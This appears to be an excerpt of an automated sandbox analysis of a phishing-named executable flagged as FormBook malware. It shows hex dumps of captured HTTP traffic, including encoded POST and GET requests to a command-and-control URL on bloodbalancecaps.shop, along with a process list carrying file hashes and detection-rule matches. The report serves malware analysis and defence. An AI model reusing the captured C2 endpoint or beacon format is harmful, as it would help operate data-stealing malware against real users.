79 24 8d e3 1b 83 0d d3 73 92 e2 69 72 de ed 06 42 a9 28 60 28 73 [TRUNCATED] Data Ascii: ]F%+<#W\|RRfZuJ9x gi9fAko~x$=q?D0Lb77XFivOo$`rJ 1s#N"h&\r&d&g\@Ys9=K\_0yE[%>7f`UmVf\R.4<IoT<t+tlcKdR,b7FpyG4y$sirB(`(s!M/'6% v,Jv1^BjLUFjmn1fvDfUseN#l1=qY,L}?\&L0/5YGnik[:^gKh7b}'i2<,,O]:h?Pl_KwCQDSZq`~?=\vzYsi4q!C&ob4Qm*N&V;;Y"?XM3:S&!nA(Xnq}<7mkn7G6w&#n^SIj[Ot5p,I&rg@w"Ll
Dec 6, 2024 17:39:06.469810009 CET	1236	IN	Data Raw: b5 f5 a4 f9 09 9c 64 c9 a9 fd 5a 6c 5a 63 0d b6 d0 92 d8 0e a0 09 e6 cd f5 5e 51 be d6 62 79 09 93 c9 44 ff 6c 7f 7d 68 6d 04 2e 56 02 9b 19 77 f2 63 76 88 8e 6a c4 82 25 0d 7f 59 e8 60 1a bf 14 d1 d5 20 c4 67 1c 0f 7e 29 62 f0 e2 5f 8a be e7 45 Data Ascii: dZlZc^QbyDl}hm.Vwcvj%Y` g~)b_E`Uq0-Ikml<h_U [/xl`3:3_M2\JEF"4n@>&\Zb~5WDm>eI\Bx;TLY; T/pi,am
Dec 6, 2024 17:39:06.469820976 CET	448	IN	Data Raw: 25 fe 0c 5b 40 f3 80 30 e5 2a a9 56 85 8c 20 6a ed b1 bb c6 0f 6a e2 56 ef d2 8e 6c de 72 8b 30 c7 56 5f 66 d4 ef 7e 7f fa 32 75 c5 9b b5 16 a1 12 4a af a4 1a c7 4a 5a 1a b3 8c 8b f9 6e cc ed 76 2f e2 d8 ee 86 66 d5 1e 57 31 81 fe 46 12 26 67 a1 Data Ascii: %[@0V jjVlr0V_f~2uJJZnv/fW1F&goyj+ TYzuIP0ML\J5t$5d;'X,AKpc1lrny\(mGqwL7V`1,KJFXA#!,93EX=X
Dec 6, 2024 17:39:06.469961882 CET	1236	IN	Data Raw: 52 42 83 57 22 f4 08 e7 a5 84 86 af 44 e8 11 ce 4b 09 8d 5e 89 d0 23 9c 97 12 ba 78 25 42 8f 70 5e 46 68 a1 95 65 16 fc de 95 17 41 f2 70 76 f6 06 3f 1d 6e 68 99 4c 99 b1 a0 b9 b9 f3 03 88 95 06 b2 28 ef df 84 4a 5a 90 d6 27 e7 e7 e3 2a 32 e3 91 Data Ascii: RBW"DK^#x%Bp^FheApv?nhL(JZ'2M}4dXOPDBF>2tSk0`)PH3IXh$<9sy^s=\\Wop-FO]g bp\.7I]rKiY0X\|=.~J.e?v
Dec 6, 2024 17:39:06.469973087 CET	1236	IN	Data Raw: f7 f2 7b 62 94 e0 11 f9 ec 7a e8 fe 70 59 f7 6e 36 c7 6f b9 37 8c ac 24 f5 87 f9 fd ab 71 78 c2 4d be 54 12 d6 de 61 11 2f 9c 3f 56 44 3c f2 ef 41 c5 8f 55 58 98 85 2a ac db 51 c9 e8 f5 7a 3e 01 d4 5a 6c 89 4e ae 70 da fd cc 0e 13 3c 91 21 48 34 Data Ascii: {bzpYn6o7$qxMTa/?VD<AUXQz>ZlNp<!H4>+ 1h3>:8btX(fk\MKx49pI?1gEUh"'rwlH]"{5S@3\Ly"\yeNI*%b9UCk%xD>=
Dec 6, 2024 17:39:06.469985008 CET	1236	IN	Data Raw: 6f 7f c6 82 5e 14 c3 4e ab 94 7d 74 72 cc e4 4b fb c4 8c 85 ec aa fd 59 c4 22 0f c2 1d 6c 53 04 51 81 86 57 82 4f 5f 2c 53 cc 62 06 bd f6 67 17 97 ec e2 b2 b7 83 cf ac ca 78 88 32 01 cb 5e 0c 1f 45 97 d7 cc 6d 63 c8 46 d7 3b f0 d2 19 ca a4 2c 7a Data Ascii: o^N}trKY"lSQWO_,Sbgx2^EmcF;,z1@m0GreP0FKPI!0;VgGXO~*w.UT:c6otYNi,[2J-e'8?&WGb%ivVxd:"q45Z"&lK%S
Dec 6, 2024 17:39:06.470098019 CET	1236	IN	Data Raw: fa de 65 7b 78 81 ff 4f 35 9f 82 9e af 57 c1 e6 ae ed ca 0d dc a4 65 ec e8 12 fa 83 ab f6 f2 bb f1 c0 c5 35 0a 32 6c f7 ae 47 4f b5 0f 95 12 ae e7 8c e9 8c 9a 1c 42 ab 8b ec 68 c3 cb 21 f6 1a ba c5 6f 79 ae d7 ee f5 dd ea af 5b a4 bf ad 80 5b 0c Data Ascii: e{xO5We52lGOBh!oy[[J0\pXbs5Z}\|(T:GR][4m-P:V?Gz)06VQ%}?QaNqW(ubBxWOB`Ur}_\1zOuC
Dec 6, 2024 17:39:06.470109940 CET	1236	IN	Data Raw: 55 b3 c7 0e db 66 bb a8 e7 fa 34 c6 86 f0 a2 8e ee 93 00 5f d6 76 5e ce f0 2c 44 f4 87 b1 9a 71 09 d1 a7 4e b7 0f f5 d2 21 f7 70 5e 6f d6 58 c0 7d 6b b1 bd ee 83 a9 89 e6 d1 5e ea de 1a 90 59 87 09 9e 48 01 b1 5d 60 84 21 2b 77 5e 71 e2 52 e0 08 Data Ascii: Uf4_v^,DqN!p^oX}k^YH]`!+w^qRv%1\t\#72lc{CJV'Yer~]4u-Z67jK@\j!{:M}2eI,8\PHZ#8K\yT4';EM>qo{k3r
Dec 6, 2024 17:39:06.470123053 CET	1236	IN	Data Raw: 9f 8c 4c fb 35 d8 a1 92 56 33 63 3f 09 7d 05 72 0c ff d3 f8 6f 60 8e f5 18 bc 4e 8f 41 4d 0f 16 86 20 3f 4d a5 0a e2 30 f6 a7 29 b4 02 39 8c ff 69 ea ac 40 0e e3 0f 5f 03 7f 78 18 7f f4 1a f8 a3 1a fc 40 20 0c 0d 94 8e 40 af 80 b7 5e 8e 80 96 95 Data Ascii: L5V3c?}ro`NAM ?M0)9i@_x@ @^u37)M4\|,^^V L\|)j^AEV-f2yHOwdY/rpGgV~v!iM0vOiQk0C%fuU\|e\|7
Dec 6, 2024 17:39:06.470135927 CET	1236	IN	Data Raw: e9 7a 7d 82 86 c6 6a b0 61 7a ba 80 83 bf cb 28 3d ef ef d3 b6 f7 6f 21 e1 f0 ef 33 4b ff ef d3 76 f0 89 12 3e 02 1c 2e 3e 14 c6 f2 78 5e 66 82 b4 be 9b 00 68 00 76 06 f0 2c b2 15 15 b3 8d 5e b1 9d 69 94 4a 2a f7 53 15 82 80 0c 5b 19 1a 87 ec 7a Data Ascii: z}jaz(=o!3Kv>.>x^fhv,^iJ*S[zt=`00"`p}A?KACmsJZt"8-9jflkpv5v.%<cI TxGq\0.(ss~{vMg}1Fu-Y`@iP'nU^~4g69>nRIj
Dec 6, 2024 17:39:06.589989901 CET	1236	IN	Data Raw: 23 d2 cc d8 3d 4d 81 27 a9 f5 49 cf eb 0f f3 fb d6 0a fa 38 d7 c1 f3 06 7f 2d b4 cd e4 a7 8e be 9c fd 24 05 2e 86 de c9 02 f4 5f 55 80 93 d1 3e 4d 80 9b ee c6 d9 95 c9 49 28 98 31 93 f3 59 4e 63 25 ad a1 42 85 4c 9c df 9e fd c1 bd d2 98 85 b0 58 Data Ascii: #=M'I8-$._U>MI(1YNc%BLX2.92txq6c&c<6:-B(`BIUE>(E6Le^=cU.k%.w%;,7Biuf*-;y\|_jCc:RO?w=t{p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.12	50024	108.179.253.197	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:39:07.866719007 CET	1838	OUT	POST /qimy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.bloodbalancecaps.shop Origin: http://www.bloodbalancecaps.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.bloodbalancecaps.shop/qimy/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6b 55 63 78 50 36 38 61 35 31 54 6e 4d 4e 6a 67 4b 79 67 31 4d 6f 4c 43 48 4e 38 57 4e 59 4c 4b 74 6a 42 2b 4d 57 63 6c 6f 6a 36 58 4e 6f 31 31 69 48 48 4b 4e 34 59 6c 6b 46 62 36 6b 53 44 69 79 64 63 42 62 50 4e 63 50 30 6b 61 47 43 30 72 79 52 6e 2b 70 4d 5a 50 6c 39 77 6e 65 36 67 48 59 4c 68 72 75 5a 31 4a 71 67 6c 77 57 66 61 58 74 33 41 6e 66 56 72 50 39 77 4a 48 54 36 4b 38 31 39 57 33 71 6f 52 37 53 54 57 6a 38 5a 74 34 76 44 41 31 4a 64 72 68 46 54 2b 4d 30 38 69 77 41 34 57 72 5a 4b 4e 42 46 77 6b 6e 77 6d 4b 74 39 56 30 71 42 65 69 36 6b 56 62 6e 32 69 45 5a 74 59 36 44 6e 57 36 55 6e 5a 31 59 53 69 74 6a 37 31 54 35 38 72 31 4c 53 78 70 54 43 6d 48 75 38 78 2b 6c 52 59 6f 2f 64 52 76 33 30 36 75 59 4d 36 5a 4c 74 69 34 57 52 51 77 74 51 34 4b 2f 57 6a 32 6a 59 4b 78 36 37 57 58 53 30 4a 2f 31 6d 48 5a 38 69 44 44 7a 63 6f 6d 57 50 72 59 45 49 76 44 4b 46 34 6a 6a 51 30 63 70 65 4a 4d 62 59 77 6d 49 2b 6f 34 4c 33 41 78 43 69 52 4f 34 4a 39 49 44 77 72 78 69 69 73 [TRUNCATED] Data Ascii: BHptZ6F=kUcxP68a51TnMNjgKyg1MoLCHN8WNYLKtjB+MWcloj6XNo11iHHKN4YlkFb6kSDiydcBbPNcP0kaGC0ryRn+pMZPl9wne6gHYLhruZ1JqglwWfaXt3AnfVrP9wJHT6K819W3qoR7STWj8Zt4vDA1JdrhFT+M08iwA4WrZKNBFwknwmKt9V0qBei6kVbn2iEZtY6DnW6UnZ1YSitj71T58r1LSxpTCmHu8x+lRYo/dRv306uYM6ZLti4WRQwtQ4K/Wj2jYKx67WXS0J/1mHZ8iDDzcomWPrYEIvDKF4jjQ0cpeJMbYwmI+o4L3AxCiRO4J9IDwrxiisC+erB8EyP2mzPUeRCXuM/cjFFEQ1PnGGhKPfezGi4YZmrOwZnmrNbDwgQzYktRMf675Z3UD9fCZy7hQo/cP4p9ozYNE8pe32WiworE3njwhUXPJl1PE2j6iR6X7cGP+ZMA7opw9e6fnMfnOGP4Aaf9NJ4ZiTaMXfjaKYNTBrHZBnlWzX8TBzEcV4jpjTnsbSJEDqeWKJ6hMZey8UnKdqk3+AVPWRJl3gqw9Fx07Qc1jXQ86t/WShgQ55qFCTDoFTORrCoSq4F6Au4b07Vm3olUgKbfGps7qf3dn9x99LuUDsiK6+fLau6AVbnKm++9RDS/clLLE+pcSeUWz1D/Dn86Ep3xUG8QZJiX3JqLsy1WkzLpUF/qKHA8WdNEM22NN88Jxm15jvutrnCj3oDPVwCSaE9vZcxOcienE1578eNGn07BWIG2dyknmKXnns2KKnflpzT9TsT3s4a7sKOHE8Fe78jA6Mxj0lVTJ5JYkTWz46CEqWB0AK+v4B0jHJLTFstZaD9UhdxKcC3F+MWMrwp5hcEj7oWZG7vUOUUSG+w6d6MmqqCUzE6slLOiEWK+Y0JZhlwIRrjfhYeNMq36EJMXiTy2PIXghyn+FtS1xqvCZxcf+XWWaltQRpB0dzZz2yzeCc1cygbRFn/qNYqx7XsJwu4Jn3TO44Q4 [TRUNCATED]
Dec 6, 2024 17:39:09.095515966 CET	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:39:08 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://bloodbalancecaps.shop/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 15183 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 5d 97 e3 46 92 25 f8 9c f1 2b 3c a9 23 05 a9 a2 93 e0 57 7c 80 c1 a8 92 52 52 b7 66 aa 5a 75 4a aa e9 9d 91 b4 39 0e c0 00 78 86 c3 1d e5 ee 20 83 c9 8e 1f d3 67 1e f6 69 9f f6 ec cb be ea 8f ad 39 c0 ef 00 19 8c c8 e8 ae e9 66 04 41 87 b9 d9 b5 6b d7 ee cd db 6f 7e 78 f7 d3 7f ff f3 b7 24 b5 99 b8 3d bb 71 3f 44 30 99 4c 1a b9 a5 7f fe a9 e1 62 c0 a2 db b3 37 37 19 58 46 c2 94 69 03 76 d2 f8 eb 4f df d1 ab 06 e9 ae 6f 24 cb 60 d2 98 72 98 e5 4a db 06 09 95 b4 20 31 73 c6 23 9b 4e 22 98 f2 10 68 f9 d2 26 5c 72 cb 99 a0 26 64 02 26 bd 12 67 0b e6 5c ab 40 59 73 be 06 39 cf d8 3d e5 19 4b 80 e6 1a 5c 13 5f 30 9d c0 79 45 c0 d8 b9 80 5b 9e 25 3e 37 cd 9f 0d ff 08 66 d2 60 85 55 0d c2 7f 6d 93 2a f2 7f 56 a1 b6 8b b5 c8 a2 c4 66 5c 52 2e ad e6 d2 f0 90 ba 34 9f 0c 3c cf cb ef 49 6f 54 fe 3c dc 74 2b 74 6c 63 b9 c5 c3 9f 7f fb d7 84 4b 64 fa db ff 52 04 a4 83 d1 2c 62 37 dd ea fa ec 46 70 79 47 34 88 c9 79 24 8d e3 1b 83 0d d3 73 92 e2 69 72 de ed 06 42 a9 28 60 28 73 [TRUNCATED] Data Ascii: ]F%+<#W\|RRfZuJ9x gi9fAko~x$=q?D0Lb77XFivOo$`rJ 1s#N"h&\r&d&g\@Ys9=K\_0yE[%>7f`UmVf\R.4<IoT<t+tlcKdR,b7FpyG4y$sirB(`(s!M/'6% v,Jv1^BjLUFjmn1fvDfUseN#l1=qY,L}?\&L0/5YGnik[:^gKh7b}'i2<,,O]:h?Pl_KwCQDSZq`~?=\vzYsi4q!C&ob4Qm*N&V;;Y"?XM3:S&!nA(Xnq}<7mkn7G6w&#n^SIj[Ot5p,I&rg@w"Ll
Dec 6, 2024 17:39:09.095557928 CET	1236	IN	Data Raw: b5 f5 a4 f9 09 9c 64 c9 a9 fd 5a 6c 5a 63 0d b6 d0 92 d8 0e a0 09 e6 cd f5 5e 51 be d6 62 79 09 93 c9 44 ff 6c 7f 7d 68 6d 04 2e 56 02 9b 19 77 f2 63 76 88 8e 6a c4 82 25 0d 7f 59 e8 60 1a bf 14 d1 d5 20 c4 67 1c 0f 7e 29 62 f0 e2 5f 8a be e7 45 Data Ascii: dZlZc^QbyDl}hm.Vwcvj%Y` g~)b_E`Uq0-Ikml<h_U [/xl`3:3_M2\JEF"4n@>&\Zb~5WDm>eI\Bx;TLY; T/pi,am
Dec 6, 2024 17:39:09.095570087 CET	1236	IN	Data Raw: 25 fe 0c 5b 40 f3 80 30 e5 2a a9 56 85 8c 20 6a ed b1 bb c6 0f 6a e2 56 ef d2 8e 6c de 72 8b 30 c7 56 5f 66 d4 ef 7e 7f fa 32 75 c5 9b b5 16 a1 12 4a af a4 1a c7 4a 5a 1a b3 8c 8b f9 6e cc ed 76 2f e2 d8 ee 86 66 d5 1e 57 31 81 fe 46 12 26 67 a1 Data Ascii: %[@0V jjVlr0V_f~2uJJZnv/fW1F&goyj+ TYzuIP0ML\J5t$5d;'X,AKpc1lrny\(mGqwL7V`1,KJFXA#!,93EX=X
Dec 6, 2024 17:39:09.095634937 CET	1236	IN	Data Raw: 9f 98 69 b2 58 66 55 fb 18 67 d8 7a 19 e9 0f b1 b9 7b 9f f1 c8 a6 d5 6b 75 5c e6 c6 5c 08 3f 2c b4 06 69 df b9 7d 8c d7 12 95 62 fa a5 ae 81 c2 56 eb 05 1f a2 d2 5a 04 38 26 68 bf 97 df 13 a3 04 8f c8 67 61 18 8e 57 76 b9 c0 b0 53 a3 66 16 2e 0d Data Ascii: iXfUgz{ku\\?,i}bVZ8&hgaWvSf.4strM.gUA~9Y>,8e^4! Ih5{5{7]-lKFW"\JM#f+}\i}DTI1']XR5nCoMr/3Q X]M'4UtE
Dec 6, 2024 17:39:09.095675945 CET	1236	IN	Data Raw: e9 64 71 f6 e6 4d c4 4d 2e d8 dc 27 55 11 79 cb b3 5c 69 cb a4 1d e3 6d 80 56 00 ed 13 a9 6a ae 70 d3 29 8b d0 68 75 d7 29 f0 24 b5 3e e9 a1 57 77 6f aa 69 6a 2e 32 a6 13 2e 7d e2 11 af e3 5d 3e ba 5e 89 53 49 e3 13 ea 75 1e 63 04 2c bc 4b b4 2a Data Ascii: dqMM.'Uy\imVjp)hu)$>Wwoij.2.}]>^SIuc,KdTgQez\fz+J1Egwl\MNkvPVhEzO&v~<bWO&{0N,BX}Qg2td>~2s\Ln@h=!
Dec 6, 2024 17:39:09.095691919 CET	1236	IN	Data Raw: f9 5b c1 34 f8 a4 37 3e 96 35 a4 03 9f 0c bb 83 a3 49 03 3a f4 c9 a0 3b 7c 22 a9 ef 92 fa 47 93 fa ae 5d ff 89 76 bd 0b 7a 8d bc 2f ba d7 47 d3 ae 31 d1 27 d7 dd de c5 5e 5a a8 84 42 9d 03 c1 c2 3b 9f 7c e6 95 9f fa 9c 70 ce 70 2b a2 e0 26 a5 89 Data Ascii: [47>5I:;\|"G]vz/G1'^ZB;\|pp+&fsLgAp\RnQS34/"vY7SQqP't@i&jXv%ap'E~Da0:~'"j#v 1lzvReKF=80cL;\|tV3c1W~
Dec 6, 2024 17:39:09.095705032 CET	1236	IN	Data Raw: c4 ec 41 67 70 85 99 87 52 ae 30 65 d4 f1 2e 8e a4 f4 30 a5 57 73 9f b2 48 cd 28 95 cc 16 9a 09 9f 5c e4 f7 e5 f7 1a bf 3a 09 58 d3 6b 93 e5 7f a7 ff 88 e3 b2 3a 02 c8 11 be 8f 35 e5 63 e4 d5 54 0f 0f 55 e3 af ce 37 9d eb 6a 0f 76 56 85 15 5c 42 Data Ascii: AgpR0e.0WsH(\:Xk:5cTU7jvV\B[N+hnX?z:qGPPssV>Z)K0v.DDP@}&x^fydL'\BnBwosEnV!)6#iVeOUi-<efE\|yE@$OY[$OCnI
Dec 6, 2024 17:39:09.095848083 CET	1236	IN	Data Raw: 6e 93 63 45 c4 15 89 79 52 73 07 59 00 d1 81 bb 84 09 01 7a 7e e0 96 67 2c 81 03 77 96 05 e2 d0 dd 94 47 b0 cd a6 b5 78 8e 0f 62 3c d3 98 65 5c cc eb 2a b6 ae 51 2a 15 cd 97 15 86 7f 04 9f 78 9d 2b 0d d9 f8 a1 93 32 83 6c 70 3d 55 8b 27 19 94 b9 Data Ascii: ncEyRsYz~g,wGxb<e\Qx+2lp=U'-gILeMJ' RnD2#gh<g_57!:k_%KU@f29u{0~YORBOD+;9bS%-:{UqByUIbH.B_*i53DU1S
Dec 6, 2024 17:39:09.095861912 CET	1236	IN	Data Raw: 54 ba 2c f1 89 54 12 5e 07 dc 4f d5 14 74 4d 8b 42 46 a0 9d 0a 87 fb 18 60 3a 4c c9 7e e0 fd 7b c1 02 10 ed 47 17 35 99 5c e6 85 3d 29 73 49 b8 d2 d8 f0 8f 70 d0 11 ee 12 fd 90 31 21 5a b8 fd 67 72 2f 19 b5 16 81 d2 38 3f d5 2c e2 85 f1 3b 83 81 Data Ascii: T,T^OtMBF`:L~{G5\=)sIp1!Zgr/8?,;!vm?XZ\7$U#;'[JR^i53[xKY juMiP,oz&i6{cEhoI,q\ T9W$>SF lyKej- TY'uTM
Dec 6, 2024 17:39:09.095874071 CET	1236	IN	Data Raw: 22 b7 67 8b e5 bd 69 f8 8b c6 1f 66 4a 47 b9 06 63 7e e9 72 44 d5 2c b4 7c ca ed bc e1 37 52 6b 73 ff 97 ee 2f dd 40 28 15 05 4c 30 19 42 c8 72 d3 41 9d f3 5f dc 30 5c 86 a2 88 00 8b 3f e0 37 e2 c6 fe d2 ad a8 d0 4c 45 85 80 7d 58 f7 1a c1 7d 27 Data Ascii: "gifJGc~rD,\|7Rks/@(L0BrA_0\?7LE}X}'~z]WupvDB!v:T";WQ+IlUW8y5+y7G-k3%"9cc`lX16jsMh^121
Dec 6, 2024 17:39:09.217664957 CET	1236	IN	Data Raw: dc 54 a4 4c 46 02 5c cd 7f ad ae ca 9a db 1b 33 4d c8 8c 47 36 9d 34 fa c3 06 49 c1 39 a2 3a df 67 42 e2 08 a9 b5 b9 df ed ce 66 b3 ce 6c d0 51 3a e9 f6 3d cf eb 62 61 83 4c 39 cc be 56 f7 93 86 47 3c d2 1f 12 57 56 09 c5 a3 08 b0 bd d5 05 34 48 Data Ascii: TLF\3MG64I9:gBflQ:=baL9VG<WV4H\t,q5V4z=g';jv[JsWBpGF"&hoo9%uU[a,\FuEk!N2!\|kUnH]UkYeTP~BY8gB%{{q.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.12	50025	108.179.253.197	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:39:10.528973103 CET	523	OUT	GET /qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6hSeAFIxekhL2UZBCo0je72bj3vEDDI4oJlEiagEhjxGQsrVSq8B3cYE1WLpspuVk6wMXVtPZnEUyIhQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.bloodbalancecaps.shop Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:39:11.746264935 CET	560	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 06 Dec 2024 16:39:11 GMT Server: nginx/1.23.4 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://bloodbalancecaps.shop/qimy/?RZ=0nkpmZbx9Z4P2&BHptZ6F=pW0RMLgj0GfOcOfjNX4uT4TVFqcCQcjlkxVMBko6hSeAFIxekhL2UZBCo0je72bj3vEDDI4oJlEiagEhjxGQsrVSq8B3cYE1WLpspuVk6wMXVtPZnEUyIhQ= X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

Target ID:	0
Start time:	11:35:08
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\DHL_734825510.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL_734825510.exe"
Imagebase:	0x6e0000
File size:	743'936 bytes
MD5 hash:	3AAE187307A535DF90ED8F9FAA0341D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	11:35:12
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL_734825510.exe"
Imagebase:	0xf70000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2661754226.00000000094A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2655581470.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2656279373.00000000065E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	11:35:31
Start date:	06/12/2024
Path:	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe"
Imagebase:	0xcb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4817056266.0000000005200000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	11:35:33
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\regini.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\regini.exe"
Imagebase:	0xc0000
File size:	41'472 bytes
MD5 hash:	C99C3BB423097FCF4990539FC1ED60E3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4817215327.0000000002DA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4815713074.00000000028B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4817376568.0000000002DF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	11:35:47
Start date:	06/12/2024
Path:	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe"
Imagebase:	0xcb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	11:36:09
Start date:	06/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6b1600000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true